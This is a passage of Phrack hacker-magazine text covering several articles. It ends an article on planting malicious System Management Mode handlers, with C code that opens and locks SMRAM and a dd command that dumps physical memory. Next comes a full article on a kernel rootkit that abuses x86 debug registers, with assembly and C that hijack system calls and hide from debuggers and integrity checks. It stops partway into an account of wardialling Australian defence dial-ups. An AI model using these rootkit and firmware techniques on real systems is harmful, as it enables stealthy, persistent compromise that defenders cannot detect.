An execution sample:

rrbranco:~/Phrack# ./brazil_smm1

Current status of SMRAM:

D_OPEN_BIT: 0

D_CLS_BIT: 0

D_LCK_BIT: 0

G_SMRAME_BIT: 0

C_BASE_SEG2_BIT: 0

C_BASE_SEG1_BIT: 0

C_BASE_SEG0_BIT: 0

Setting D_OPEN to 1

D_OPEN_BIT: 1

D_CLS_BIT: 0

D_LCK_BIT: 0

G_SMRAME_BIT: 0

C_BASE_SEG2_BIT: 0

C_BASE_SEG1_BIT: 0

C_BASE_SEG0_BIT: 0

Locking SMRAM

D_OPEN_BIT: 1

D_CLS_BIT: 0

D_LCK_BIT: 1

G_SMRAME_BIT: 0

C_BASE_SEG2_BIT: 0

C_BASE_SEG1_BIT: 0

C_BASE_SEG0_BIT: 0

Trying to set D_OPEN to 0

D_OPEN_BIT: 1

D_CLS_BIT: 0

D_LCK_BIT: 1

G_SMRAME_BIT: 0

C_BASE_SEG2_BIT: 0

C_BASE_SEG1_BIT: 0

C_BASE_SEG0_BIT: 0

‑‑‑[ 2.4.2 ‑ SMM Details

When the processor enters the SMM mode it will signal an output pin, aSMIACT#, to notify the chipset that the processor is in the SMM.

The SMI interrupt itself can be triggered anytime, except while the processor is already in SMM (of course). This will cause the SMM handler to be executed (as we already showed).

Since the SMIACT# was noticed by the chipset, all further memory accesses will be redirected to the SMRAM protected memory. After that, the processor will start to save its internal state in the saved_state map area, inside the SMRAM. Then, the handler starts to execute.

What is the current state? The processor is in a 'real mode', with all segments containing 4GB limit and being readable/writable.

As said, to leave the SMM, the RSM instruction is issued by the handler, and then the processor reads the saved‑state map again, performing just some checks on it (that's good) restoring the system to the previouas situation.

SMM writes data in the saved‑state map exactly in the same way as the stack does, from top to bottom beginning from the SMBASE register (thus, permiting relocation). It's important to keep this in mind when manipulating the saved‑state map.

If the system enters SMM by result of a halt or I/O instruction, the handler can tell the system to continue the execution after that or to enter the halt state just setting a flag in the saved‑state map.

Upon entrance in SMM the interrupts are disabled (including the asyncronous NMI (Non Maskable Interrupt) and INIT), and the IDT (interrupt description table) register keeps it's value. In order to service interrupts inside SMM (a motivation for that will be showed), one needs to setup an own interrupt vector [14] and reload the IDT with your new value, since the values contained in the old IDT are no longer valid in the address space used by SMM.

After the STI instruction, the system start to receive some interrupts but will still miss the asyncronous ones. To enable that is needed to issue the IRET/IRETD instructions.

The big concern about re‑enabling interrupts inside the SMM handler is that if an NMI interrupt is received while inside the handler, it will be latched. So, potentially any verification done inside the SMM handler can be bypassed if someone hooked the NMI handler routine (this routine would be executed immediately after the RSM, before the processor starts executing the code pointed by the EIP in the saved‑state map).

During our tests, SMM relocation gave us some problems in older machines (pentium II/III). Also, we preferred to use those machines to test our things, since there is no SMM locking being done by the BIOS (generally saying, BIOS older than 2 years).

Apparently, those older processors had a fixed CS value point to 0x30000 (the default SMM position ‑ relocated by most of modern BIOS to 0xA0000 as we already said).

If we enable interrupts inside the SMM, when an interrupt is invoked, it will save CS:IP in the stack for further return. But it will use the fixed value of CS (0x30000) instead of using the SMBASE value, not reflecting the right code segment that the SMM is actually using and, therefore, the code will return to the wrong location.

Also, the Intel documentation mentions alignment problems in the SMBASE value in older processors (previously to PIV).

‑‑‑‑‑‑[ 3 ‑ SMM for evil purposes

As already said, the SMM can be used to modify kernel internal structures.

Here we will also show some challenges and other possible uses for a malware code running inside the SMM.

‑‑‑[ 3.1 ‑ Challenges

‑‑‑[ 3.1.1 ‑ Cache‑originated overwrites

When entering the SMM, the SMRAM may be overwritten by data in the cache if a #FLUSH occur after the SMM entrance.

To avoid that we can shadow SMRAM over non‑cacheable memory or assert #FLUSH simultaneously to #SMI events (#FLUSH will be served first). Most BIOS mark the SMRAM range as non‑cacheable for us (and also locks it, since Duflot paper publication).

‑‑‑[ 3.1.2 ‑ SMM Locking

Most BIOS manufacturers lock the SMM nowadays. When you are inserting a protecting mechanism using the SMM you can just replace the system BIOS for an open‑source one (see LinuxBIOS [7]).

When we are talking about malicious code, this cannot be done and some kind of BIOS patching must take place.

This article is focusing in the SMM manipulation itself, but a good approach to bypass the BIOS protection is to use the TOP_SWAP [8] bit to execute our code before the original BIOS code and then load our SMM handler and lock it (this will prevent the original BIOS to overwrite our SMM handler).

Basicaly this bit is used to define if the system will use the first 64K or the second one as area to load the BIOS from. Knowing that, someone can just set the TOP_SWAP bit, put own code in the second 64K area and in the code jump back to the original BIOS code. This code will be runned BEFORE the BIOS.

The TOP_SWAP bit exists to provide a secure way to BIOS update ‑ the BIOS code is copied to the second 64K, the TOP_SWAP bit is set, the update is done and an integrity check is performed ‑ if there is anything that makes the system to reboot, it will restart in the second 64K which holds a copy of the original BIOS without any problems.

‑‑‑[ 3.1.3 ‑ Portability

As said, the SMM is harware‑dependent, more specifically it's ICH‑dependent.

The attached code is know to work in ICH5 and ICH3M, tested under Linux, but since it uses the libpci, it's supposed to work also in FreeBSD, NetBSD, OpenBSD (also tested on it), Solaris, Aix, GNU/Hurd and Windows).

To provide support to other ICHs one must edit the libSMM.h header file to specify the correct location of the bus, device, function and offset and then be sure the PMBASE returned by the function get_pmbase() is right (comparing to the manuals).

After that, verify if the SMRAM_OFFSET is correctly defined (you can get that in your I8xx manuals). If so, the bits in the SMRAM control register will be correctly showed (you can easily test it using the D_LCK bit, since when set will not permit any other bit to be manipulated). One can also test it using the dd command showed next in this article and the D_OPEN bit (use the open_smram function, write to the SMRAM memory mmap'ing it and then dump it to verify if it's working).

‑‑‑[ 3.1.4 ‑ Address translation

Address translation is a great difficulty when we are inside our handler, since we need the value of the CR3 register (which we can get from the saved‑state map) to manually parse the page tables and then perform the actual translation.

Another approach is to just transfer the control back to our code in the same way that Duflot did, but we need to save the current processor status inside SMM, so after the execution of our code (after the SMM) we can transfer the control back to the process that was executing before triggering the SMI (else we would have some portions of the system just stopping to work after our malware get executed).

This is not good...

The best thing that we can do is just have a simple handler that gives the biggest privilege level of execution to the calling code (i.e. the code that was executing before the SMI) and then return. By doing so, we avoid to stay too much time in the SMM context and don't need to care about stopped OS processes.

In the next sections we clarify how to put code in the SMM space, test it and then an approach using the descriptor caches to provide the above statement.

‑‑‑[ 3.2 ‑ Copying our code in the SMM space

‑‑‑[ 3.2.1 ‑ Testing

So, the first step to put some code in the SMM is to open the SMRAM by setting the D_OPEN bit.

‑‑‑ code ‑‑‑

pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT)); ‑‑‑ end code ‑‑‑

To close it after we finish, we will use the following:

‑‑‑ code ‑‑‑

pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT)); ‑‑‑ end code ‑‑‑

Also, after inserting our code, we want to lock SMRAM access, avoiding anyone from changing the SMM‑related registers.

‑‑‑ code ‑‑‑

pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT)); ‑‑‑ end code ‑‑‑

In order to get our code inserted in the SMRAM memory, we need to map it, in the same way we did in the exploit.

‑‑‑ code ‑‑‑

fd = open(MEMDEV, O_RDWR);

if(fd < 0) {

fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno); return ‑1;

}

vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, SMIINSTADDRESS);

if(vidmem == MAP_FAILED) {

fprintf(stderr, "Could not map memory area, errno: %d\n", errno); return ‑1;

}

close(fd);

/* Here we are copying our code to the SMRAM memory */

if(vidmem != memcpy(vidmem, handler, endhandler‑handler)) { fprintf(stderr, "Could not copy asm to memory...\n");

return ‑1;

}

if(munmap(vidmem, MAPPEDAREASIZE) < 0) {

fprintf(stderr, "Could not release mapped area, errno: %d\n", errno); return ‑1;

}

‑‑‑ end code ‑‑‑

It's a good idea to verify if it's working properly, and also make a previous copy of your SMRAM memory contents before that.

So, let's do that using dd:

dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 ‑ 1` count=64K

P.S.: 655360 is 0xa0000 in decimal (as spotted by Duflot, SMM is commonly relocated to that address instead 0x30000, as in the default case)

‑‑‑[ 3.2.2 ‑ Descriptor caches

This idea worked in some system and not in some others, since the Intel documentation is not exactly clever about this subject.

From the Intel manual: "Every segment register has a visible part and a hidden part (The hidden part is sometimes referred to as a descriptor cache or a shadow register). When a segment selector is loaded into the visible part of a segment register, the processor also loads the hidden part of the segment register with the base address, segment limit, and access control information from the segment descriptor pointed to by the segment selector."

"Access control information" is refering to the well know xPL: ‑ RPL ‑> Request privilege level

‑ CPL ‑> Current privilege level

‑ DPL ‑> Descriptor privilege level

In the saved‑state map inside the SMRAM, also according to the Intel manuals, are saved the descriptor caches and the CR4 register (the manual says it's not readable and write to this values will cause an "unpredictable behavior").

We found the following:

TSS Descriptor Cache (12‑bytes) ‑ Offset: FFA7

IDT Descriptor Cache (12‑bytes) ‑ Offset: FF9B

GDT Descriptor Cache (12‑bytes) ‑ Offset: FF8F

LDT Descriptor Cache (12‑bytes) ‑ Offset: FF83

GS Descriptor Cache (12‑bytes) ‑ Offset: FF77

FS Descriptor Cache (12‑bytes) ‑ Offset: FF6B

DS Descriptor Cache (12‑bytes) ‑ Offset: FF5F

SS Descriptor Cache (12‑bytes) ‑ Offset: FF53

CS Descriptor Cache (12‑bytes) ‑ Offset: FF47

ES Descriptor Cache (12‑bytes) ‑ Offset: FF3B

The saved‑state map is stored at SMBASE + 0xFE00 to SMBASE + 0xFFFF.

Modifying the DPL field of the SS descriptor cache from 3 to 0 gives ring0 power to our program (and a General Protection Fault in newer processors).

‑‑‑[ 3.2.3 ‑ Code relocation

SMM has the ability to relocate its protected memory space. The SMBASE value saved in the state save map may be modified. This value is read during the RSM instruction. When SMM is next entered, the SMRAM will be located at this new address.

From our SMM handler, in the saved‑state map, we can modify this value (at offset 0xFEF8 from SMBASE). To perform that, we must care about CS adjustments inside our code.

It can be used to relocate the SMRAM to memory area of our choosing and trick those who try to dump the SMRAM for analysis using the standard SMBASE values (anyway, since our malware is locking the SMM and clearing the D_OPEN bit, we don't need to use this technique).

‑‑‑‑‑‑[ 4 ‑ SMM Manipulation Library

The SMM Manipulation Library attached in this article provides an easy way to create portable code to manipulate the SMRAM control register.

It offers the following methods:

u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show) It's used to test if specific bits are set or not

The pci_dev structure are optional, NULL can be passed.

u16 get_pmbase (void)

Internally used by the library to manipulate the SMI‑enablement. Exported by the function to turn easy to an external program verify the correct offsets for the SMI_EN and SMI_STS.

u16 get_smi_en_iop (void)

Return the location of the SMI_EN

u16 get_smi_sts_iop (void)

Return the location of the SMI_STS

int enable_smi_gbl (u16 smi_en_iop)

Enable SMI globally

int disable_smi_gbl (u16 smi_en_iop)

Disable SMI globally

int enable_smi_on_apm (u16 smi_en_iop)

Enable SMI on APM events

int disable_smi_on_apm (u16 smi_en_iop)

Disable SMI on APM events

int open_smram(void)

Open SMRAM for access (set D_OPEN bit)

int close_smram(void)

Close SMRAM for access (unset D_OPEN bit)

int lock_smram(void)

Lock the SMRAM (set D_LCK bit)

void write_to_apm_cnt(void)

Write to the APM CNT (generate a SMI)

Also, the include file libSMM.h contains the valid values to be used to locate related registers and bit's for the SMM manipulation, like the device, function bus and offsets. It contains specify defines for interesting bits inside the SMRAM control register too, like the D_OPEN and the D_LCK.

Attached to the article is also the file libSMM_test.c showing how to use the SMM Manipulation Library. This program will basically set and unset all control registers that will affect the SMM manipulation. It can be used to test if the library is working propertly in your hardware and since it will also test the D_LCK bit, one need to reboot after run this program.

The evil.c code also attached will use the SMM Manipulation Library to insert a small SMM handler that freezes the processor.

‑‑‑‑‑‑[ 5 ‑ Future and other uses

We can't foresee the future, but modern rootkits are becoming much more targeted, so this kind of deeper hackishs will start to be more widely seen.

Also, with new platforms to BIOS enhancements, like the Extensible Firmware Interface, everything that depends on boot patching will be easier [9].

Another important thing to notice is the virtualization resources that exist nowadays and some possibilities of using them in implementations of hardware protected integrity‑check systems [10].

‑‑‑‑‑‑[ 6 ‑ Acknowledgments

A lot of people helped us in the long way these researches that resulted in something funny to be published, you all know who you are.

Special tks to twiz and the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it.

Finally, big tks to Julio Auto for the review of the article drafts.

BSDaemon:

Conference organizers who invited me to talk about protection mechanisms using SMM (yeah, a lot of fun in completely different cultures).

To my girlfriend who waited for me (alone, I suppose) during this travels.

RISE Security (http://www.risesecurity.org) for always keeping me motivated

studying completely new things.

‑‑‑‑‑‑[ 7 ‑ References

[1] ‑ Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm

[2] ‑ Loic Duflot, Daniel Etiemble, Olivier Grumelard, "Using CPU System Management Mode to Circumvent Operating System Security Functions" Proceedings of CanSecWest, 2006

[3] ‑ Branco, Rodrigo Rubira, "KIDS ‑ Kernel Intrusion Detection System" Hackers to Hackers Conference, 2007

[4] ‑ LibPCI for Linux ftp://ftp.kernel.org/pub/software/utils/pciutils/

[5] ‑ Intel 82801 BA‑I/O Controler HUB (ICH2) Datasheet http://www.intel.com/design/chipsets/datashts/290687.htm

[6] ‑ Intel 82845 Memory Controler HUB (MCH) Datasheet http://www.intel.com/design/chipsets/datashts/290725.htm

[7] ‑ LinuxBIOS

http://freshmeat.net/projects/linuxbios

[8] ‑ Bing, Sun, "BIOS Boot Hijacking By Using Intel ICHx "Top‑Block Swap" Mode"

XFocus Information Security Conference, 2007

[9] ‑ Heasman, John, "Hacking the Extensible Firmware Interface" Blackhat Las Vegas Briefings, 2007

[10] ‑ Branco, Rodrigo Rubira, "StMichael Project" http://stjude.sf.net

[11] ‑ PCI Specification

http://www.pcisig.com

[12] ‑ Shanley, Tom; Anderson, Don; "PCI System Architecture" Mindshare Inc

ISBN 0‑201‑30974‑2

Publisher: Addison Wesley

[13] ‑ PCI Database

http://www.pcidatabase.com

[14] ‑ devik & sd; "Linux on‑the‑fly kernel patching without LKM" Phrack 58

‑‑‑‑‑‑[ 8 ‑ Sources ‑ Implementation details [brazil_SMM.tgz]

Attached a GPLed library that will help you to manipulate the SMM‑related features, accompanied by some programs displaying sample usage.

Further updates will be available in the StMichael project website, at: http://stjude.sf.net

begin 644 brazil_SMM.tgz

Mystifying the debugger for ultimate stealthness

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x08 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Mistifying the debugger, ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ ultimate stealthness ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ halfdead@phear.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Introduction

Over the years, there have been a plethora of techniques and methods of hiding one's presence in a hacked system. Many of them were focused on directly tampering the system call table, others were modifying the interrupt handler, while others were operating at the VFS layer. But all of them were modifying the underlying operating system in a very visible manner, making them easily detected.

In the article I will present a technique that is able to achieve ultimate stealthness in kernel rootkits, by using a common x86 feature, the debugging mechanism. Although it works on any IA‑32 compatible platform, the following technique will be detailed for Linux operating system and I will show you how one can intercept the normal flow of execution without touching the "classical" hooking targets. In fact, this technique can be so good that no one will ever notice our presence.

When we refer to "debugger" in this article, we actually mean the IA‑32 debugging mechanism, which is only accessible from ring zero. Userland debuggers don't make use of this mechanism, only some kernel debuggers do.

‑‑[ The debugger

"The IA‑32 architecture provides extensive debugging facilities for use in debugging code and monitoring code execution and processor performance. These facilities are valuable for debugging applications software, system software, and multitasking operating systems."

In order to make life easier for developers, Intel introduced a mechanism that was intented to manage the debugging process. This mechanism is handled by a set of special registers (called 'debugging registers, DR0..DR7) which allow the user to set hardware breakpoints on memory addresses. As soon as the execution flow hits an address marked with a breakpoint, it hands the control to the debug interrupt handler (INT 1), which calls the do_debug() function (defined in ../i386/kernel/traps.c) to take care of the actual situation that raised the exception.

The debugging support is accessed through the debug registers (DB0 through DB7) and two model‑specific registers (MSRs). For the purpose of this paper we will only focus on the debug registers. These registers hold the addresses of memory and I/O locations, called breakpoints. Breakpoints are user‑selected locations in a program, a data‑storage area in memory, or specific I/O ports where a programmer or system designer wishes to halt execution of a program and examine the state of the processor by invoking debugger software.

A debug exception (#DB) is generated when a memory or I/O access is made to one of these breakpoint addresses. A breakpoint is specified for a particular form of memory or I/O access, such as a memory read and/or write operation or an I/O read and/or write operation. The debug registers support both instruction breakpoints and data breakpoint. The MSRs (which were introduced into the IA‑32 architecture in the P6 family processors) monitor branches, interrupts, and exceptions and record the addresses of the last branch, interrupt or exception taken and the last branch taken before an interrupt or exception.

‑‑[ The debug registers

There are 8 debug registers supported by the Intel processors, which control the debug operation of the processor. These registers can be written to and read using the move to or from debug register form of the MOV instruction. A debug register may be the source or destination operand for one of these instructions. The debug registers are privileged resources; a MOV instruction that accesses these registers can only be executed in real‑address mode, in SMM, or in protected mode at a CPL of 0. An attempt to read or write the debug registers from any other privilege level generates a general protection exception.

The primary function of the debug registers is to set up and monitor from 1 to 4 breakpoints, numbered 0 though 3. The debug mechanism allows us to manage the breakpoints through two special registers, DR6 and DR7, which I will describe in detail later on. For each breakpoint, the following information can be specified and/or detected with the debug registers:

‑ The linear address where the breakpoint is to occur.

‑ The length of the breakpoint location (1, 2, or 4 bytes). ‑ The operation that must be performed at the address for a debug exception to be generated.

‑ Whether the breakpoint is enabled.

‑ Whether the breakpoint condition was present when the debug exception was generated.

‑‑‑‑‑‑‑[ Debug address registers

Each of the debug‑address registers (DR0‑DR3) holds the 32‑bit linear address of a breakpoint. Breakpoint comparisons are made before physical address translation occurs.

‑‑‑‑‑‑‑[ Debug registers DR4 and DR5

Debug registers DR4 and DR5 are reserved when debug extensions are enabled (the DE flag in control register CR4 is set), and attempts to reference these registers will raise an invalid‑opcode exception. When the DE flag is not set, these registers are aliased to DR6 and DR7.

‑‑‑‑‑‑[ Debug status register (DR6)

This special register is used to report the debug conditions that existed at the time the last debug exception occured. The flags in this register show the following information:

‑ B0..B3 (bits 0..3) indicate that a breakpoint condition was detected. These flags are set if the condition described for each breakpoint by the LENn, and R/Wn flags in debug control register DR7 is true. They are set even if the breakpoint is not enabled by the Ln and Gn flags in register DR7.

‑ BD (bit 13) (debug register access detected) indicates that the next instruction in the instruction stream will access one of the debug registers (DR0..DR7). This flag is enabled when the general detect (GD) flag in debug control register DR7 is set.

‑ BS (bit 14) (single step) indicates (when set) that the debug exception was triggered by the single‑step execution mode.

‑ BT (bit 15) (task switch) indicates (when set) that the debug exception resulted from a task switch where the debug trap flag in the TSS of the target task was set.

The processor never clears the contents of DR6 register.

‑‑‑‑‑‑[ Debug control register (DR7)

The debug control register (DR7) enables or disables breakpoints and sets breakpoint conditions. Its flags and fields control the following things:

‑ L0..L3 (bits 0, 2, 4, 6) (local breakpoint enable) enable (when set) the breakpoint condition for the associated breakpoint for the current task. When a breakpoint condition is detected and its associated Ln flag is set, a debug exception is generated. The processor automatically clears these flags on every task switch to avoid unwanted breakpoint conditions in the new task.

‑ G0..G3 (bits 1, 3, 5, 7) (global breakpoint enable) enable (when set) the breakpoint condition for the associated breakpoint for all tasks. When a breakpoint condition is detected and its associated Gn flag is set, a debug exception is generated. The processor does not clear these flags on a task switch, allowing a breakpoint to be enabled for all tasks.

‑ LE and GE (bits 8 and 9) (local and global exact breakpoint enable) cause the processor to detect the exact instruction that caused a data breakpoint condition. Not supported in P6 family processors.

‑ GD (bit 13) (general detect enable) enables (when set) debug‑register protection, which causes a debug exception to be generated prior to any MOV instruction that accesses a debug register. When such a condition is detected, the BD flag in debug status register DR6 is set prior to generating the exception.

‑ R/W0..R/W3 (bits 16, 17, 20, 21, 24, 25, 28, and 29) (read/write) specifies the breakpoint condition for the corresponding breakpoint. For more information read the Intel manual.

‑ LEN0..LEN3 (bits 18, 19, 22, 23, 26, 27, 30, and 31) (length)

‑‑[ The magic

Ok, so we've learnt almost everything now about the IA‑32 debugging mechanism. Where is the goodies you've promised?? Now we know a few important things: we can set a breakpoint on a memory address and as soon as execution flow hits our breakpoint, the execution is redirected to the debug handler (INT 1). Uhmm, so what if we replace the existing debug handler or one of the underlying functions with our own? As we can see from entry.S,

ENTRY(debug)

pushl $0

pushl $ SYMBOL_NAME(do_debug)

jmp error_code

the actual debug handler is a C function, do_debug() defined in traps.c. Yes, ok, I think we are able to patch the INT 1 handler and then call do_debug() on our own OR we could come up with our own do_debug() and expect to be called by the debug handler, so we rest assured that the IDT remains untouched. But what should our handler handle? Most obviously, we need to check a few parameters and then pass control to the actual operating system do_debug(). But what parameters should we monitor? Keep reading...

‑‑‑‑‑‑[ Hijacking the sys_call_table[]

Now you should have an idea how to hijack the syscall table making use onunnt on read/write/execution on targetted address in memory. This can be either INT 80 handler address or syscall table address, it matters less as the effect is the same, in the end. Therefore, each time the operating system is going for a syscall, it will wind up in our handler. We have two options here: A) hijacking the INT 80 handler directly in IDT or B) hijacking the actual address of sys_call_table[] in memory. Any of them is fit for our purposes, so we will aim for A. The following function will return the address of INT 80 handler.

get_idt_entry:

sidt idtr

movl idtr+2, %ebx

leal (%ebx, %eax, 8), %ebx

movw (%ebx), %cx

roll $16, %ecx

movw 0x6(%ebx), %cx

roll $16, %ecx

movl %ecx, %eax

ret

Once we know the address, we can set up a breakpoint as follows:

set_bpm:

movl $0x80, %eax

call get_idt_entry

movl %eax, %dr0

xorl %eax, %eax

orl $0x2080, %eax

movl %eax, %dr7

ret

As you can see, the set_bpm() function will load DR0 with memory address where INT 80 is located and, also, will set up the according flags in DR7, including the magic GD bit, which allows us to monitor WHO and WHY is accessing the debug registers. This bit is very important for us because it "causes a debug exception to be generated prior to any MOV instruction that accesses a debug register". Wow, do you mean...? Yeah, if SOMEONE is trying to read/write the debug registers, the control is passed to our handler BEFORE the instruction takes place. So, we know if someone, a debugger or some tool of the devil, is checking the debug registers, even before they know it. This gives us time to cover our tracks: we can undo everything and wait some time for danger to pass, we can simply skip the instructions affecting the debug registers, etc. The best thing to do is to show the system clean debug registers and after a short period of time, hook everything back to best suit our needs. The best aproach is to come up with a code emulator, analyzing the type of the instruction accessing debug registers, and based on that decide what action will follow: clean the debug registers and restore later or simply increase the instruction count so that the instruction is simply ignored. Anyway, this leaves an open discussion.

‑‑‑‑‑‑[ The handler

Now, we managed to redirect the flow of execution without patching anything in the syscall table or INT 80 handler. But still, what should our handler handle? For starter, in its most simplistic form, our handler needs to check the value of the %eax register, because at this point, it contains the desired syscall number, and based on that it should feed the OS with our hacked syscall. This is how a very simple handler should look like:

asmlinkage void new_do_debug(struct pt_regs * regs, long error_code) {

unsigned long condition;

unsigned long mask = 0x2008;

__asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

if (condition & BD_FLAG) { /* someone is r/w the registers */

condition &= ~BD_FLAG;

__asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition)); regs‑>eip += 3;

__asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); }

if (condition & DR_TRAP0) {

if (regs‑>eax == __NR_time) sys_call_table[__NR_time] = hacked_time;

if (regs‑>eflags & VM_MASK) { (*old_do_debug)(regs,error_code); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); }

condition &= ~DR_TRAP0;

__asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition)); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); regs‑>eflags |= X86_EFLAGS_RF;

}

else

{

(*old_do_debug)(regs, error_code); __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask)); }

return;

}

What are we doing here? First, we grab the values in the status register (DR6) and try to figure out what triggered our handler. If our execution comes as a result of the breakpoint we've placed, we compare the value in %eax register to the value of the syscall we decided to hijack, which was sys_time() in our case. In the example provided, due to the lack of space and time, we did a direct change of the sys_call_table[] but this is not something to worry about as, the hacked_time() is modifying the sys_call_table[] back to original in the instant it gets executed:

asmlinkage long hacked_time(int *tloc)

{

sys_call_table[__NR_time] = original_time;

printk("<1>WE changed it!!\n");

return original_time(tloc);

}

Ofcourse, there are other ways of doing it without touching the syscall table at all but take into consideration that the first thing the hacked_time() does is changing back the value in sys_call_table[], meaning that the actual change takes place for less than a microsecond so it shouldn't be a problem.

A better method would be to analyze the parameters of the syscall, based on the syscall number, which at the time our handler takes place is the value in %eax register. We could feed the hacked parameters by simply filling the according registers. This method would create a "virtual" syscall table, so we don't need to touch the actual syscall table at all.

So now we learnt how to set a breakpoint on a memory address, how to enable that breakpoint; we also learnt that we can hijack the normal execution flow without tampering the INT 80 handler nor the syscall table handler nor the syscall table itself. Yes, you can say it's a lovely technique, a bit of magic. But still, we modify the INT 1 handler, or at least, we patch the do_debug() function, so we're not that stealth. Just keep reading...

‑‑‑[ Blindfold

We learnt so many beautiful things by now, we take control of the system and no one detects a direct tampering of the kernel. We covered our tracks thanks to the GD/BD bits so, if someone is looking at the debugging registers we simply ignore their curiosity (regs‑>eip +=3). But what if someone wants to check all the IDT for integrity? Or what if a debugger or a similar tool needs to place its own handler on INT 1? Are we lost then?

It sure looks like it..

But wait.. DR6 and DR7 come to rescue once more. What we need to do is the following:

‑ set up your handler on INT 1

‑ set up the breakpoint to watch for INT 80 address

‑ set a secondary breakpoint to watch on our handler's address

Oh, wait! It can't be that simple. Yes, it is! Like this, we practically don't affect the kernel at all, for the unwanted eye. In our ideal handler, the code emulator checks the type of the instruction that attempts to access debug registers, wether is the breakpoint we put on INT 80 or INT 1 and act accordingly. We already explained what it should do for hijacking INT 80, let's talk now about INT 1. By placing a secondary breakpoint on INT 1 or do_debug() function, we make sure that we know apriori when someone attempts to read the only location in the kernel memory we modified. The best thing to do is to make that single address back to original. Like this, when some devilish tool attempts to check for our presence in the IDT too (i don't think there any tools doing that outhere, but that's simply because a whitehat would've never thought it's necessary), we let them see the untouched value. This is "deep cover" mode. But did we lose the control over the kernel now? Well, not really, we're still in control: we can "reinstall" our rootkit after a few nanoseconds, so they miss us every time they look at us. It's like blindfolding them. This technique is also helpful when dealing with a debugger (or similar tool) trying to place its own hook in INT 1 handler. Think about it: we detect the attempt and make everything back to normal, they place their hook, we hijack their hook as a normal INT 1 hijack and as soon as they check for their presence, for example, by checking the presence of the handler, we let them see themselves. It's like chaining hooks, or so. When I discovered that I was stunned. When I realised it really works I was amazed. This is the ultimate stealthness, the holygrail of hackers!

‑‑‑[ Closing words

This technique has been actively used in the underground for more than 8 years now. The beauty about it: it is, in fact, a basic IA‑32 feature. They cannot defeat against it without removing the whole debug mechanism. I decided to make it public in phrack through a "scientific" paper *g* but it wasn't my choice: the technique leaked a while ago. I highly doubt that the person that leaked it knows exactly what his tool is actually capable of and what is actually doing, so I decided to help him and any other hacker in the world willing to learn and improve their skills. As you have seen, this is one very powerful technique, allowing one to achieve full stealthness on a target system. Being a fundamental processor feature, means it can be used on ANY operating system running on IA‑32 and also, there is no way of detecting or protecting against it, even if it is not 0day anymore ;(

‑‑‑[ Kudos

Australian Restricted Defense Networks and FISSO

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x09 of 0x0f

==Phrack Inc.==

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Australian Restricted Defense Networks and FISSO ]=‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Finn ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ TheFinn@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1. Introduction

2. Wardialling and You

3. Origins of FISSO

4. Australian DoD and FISSO

5. An Introduction to the EPL and CCRA

6. The EPL and CCRA in depth

7. Other standards

8. Secrets

9. Conclusion

10. Annex

‑‑[ 1. Introduction

This document explains and introduces a new secret network maintained by the Australian DoD. As far as I know, this network is similar in its usage to the American DoD's SIPRNET. To be used in conjunction with specially designed software to promote better communication in the procedures and implementation of command and control systems, intelligence and logistics.

Please keep in mind, much if it will be based on my own past experience, observations and guesswork. Due to the volatile nature of the information I will keep it "barely legal" while trying to introduce some of the concepts behind the way the various DoD's are now interconnecting and thus maintaining the same network security philosophy across the world.

I found this document a good idea because to find this information out required weeks of reading and knowing where to find these things on the web. Also you'd have to read the kinds of documents that first specifies how it's going to use verbs within the document, then they will convey how they are going to use nouns... etc...

You really don't want to go there ;)

‑‑[ 2. Wardialling and You

After wardialling a lot of numbers I found some really interesting dialups belonging (obviously) to the DoD which were part of the network belonging to the Australian Navy.

You don't really see a lot on wardialling anymore as there are so many ISP's people can connect to for vpn connectivity to anywhere in the world, however the military still considers modems a good way to communicate as they can control the access point themselves and log everything.

